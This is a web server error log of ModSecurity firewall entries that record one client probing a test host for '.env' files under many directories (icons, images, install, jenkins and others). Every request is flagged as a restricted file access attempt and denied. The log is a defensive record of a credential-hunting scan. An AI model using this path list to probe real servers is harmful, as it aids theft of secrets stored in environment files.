[Mon Jul 28 20:46:11.395710 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icons/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I1QAAAAA&quot;]
[Mon Jul 28 20:46:11.416117 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ikiwiki/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ikiwiki/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I1gAAAAA&quot;]
[Mon Jul 28 20:46:11.416338 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ikiwiki/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I1gAAAAA&quot;]
[Mon Jul 28 20:46:11.416508 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ikiwiki/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I1gAAAAA&quot;]
[Mon Jul 28 20:46:11.456609 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /image_data/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/image_data/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I1wAAAAA&quot;]
[Mon Jul 28 20:46:11.456833 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/image_data/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I1wAAAAA&quot;]
[Mon Jul 28 20:46:11.457001 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/image_data/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I1wAAAAA&quot;]
[Mon Jul 28 20:46:11.477253 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /imagebord/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Imagebord/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I2AAAAAA&quot;]
[Mon Jul 28 20:46:11.477457 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Imagebord/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I2AAAAAA&quot;]
[Mon Jul 28 20:46:11.477606 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Imagebord/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I2AAAAAA&quot;]
[Mon Jul 28 20:46:11.497722 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /images/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/images/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I2QAAAAA&quot;]
[Mon Jul 28 20:46:11.497932 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/images/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I2QAAAAA&quot;]
[Mon Jul 28 20:46:11.498090 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/images/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I2QAAAAA&quot;]
[Mon Jul 28 20:46:11.518880 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /img/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/img/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I2gAAAAA&quot;]
[Mon Jul 28 20:46:11.519088 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/img/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I2gAAAAA&quot;]
[Mon Jul 28 20:46:11.519235 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/img/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I2gAAAAA&quot;]
[Mon Jul 28 20:46:11.581478 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /includes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I3QAAAAA&quot;]
[Mon Jul 28 20:46:11.581669 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I3QAAAAA&quot;]
[Mon Jul 28 20:46:11.581844 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I3QAAAAA&quot;]
[Mon Jul 28 20:46:11.856265 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /install/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/install/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I6gAAAAA&quot;]
[Mon Jul 28 20:46:11.856466 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/install/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I6gAAAAA&quot;]
[Mon Jul 28 20:46:11.856624 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/install/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I6gAAAAA&quot;]
[Mon Jul 28 20:46:11.876720 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /instantcv/server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/InstantCV/server/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I6wAAAAA&quot;]
[Mon Jul 28 20:46:11.876939 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/InstantCV/server/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I6wAAAAA&quot;]
[Mon Jul 28 20:46:11.877100 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/InstantCV/server/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I6wAAAAA&quot;]
[Mon Jul 28 20:46:11.980827 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /items/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/items/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I8AAAAAA&quot;]
[Mon Jul 28 20:46:11.981016 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/items/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I8AAAAAA&quot;]
[Mon Jul 28 20:46:11.981173 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/items/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I8AAAAAA&quot;]
[Mon Jul 28 20:46:12.001394 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /javascript/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/javascript/.env&quot;] [unique_id &quot;aIfFdMc5NK034Azyi1-I8QAAAAA&quot;]
[Mon Jul 28 20:46:12.001571 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/javascript/.env&quot;] [unique_id &quot;aIfFdMc5NK034Azyi1-I8QAAAAA&quot;]
[Mon Jul 28 20:46:12.001716 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/javascript/.env&quot;] [unique_id &quot;aIfFdMc5NK034Azyi1-I8QAAAAA&quot;]
[Mon Jul 28 20:46:12.021857 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /jenkins/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jenkins/.env&quot;] [unique_id &quot;aIfFdMc5NK034Azyi1-I8gAAAAA&quot;]
[Mon Jul 28 20:46:12.022050 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jenkins/.env&quot;] [unique_id &quot;aIfFdMc5NK034Azyi1-I8gAAAAA&quot;]
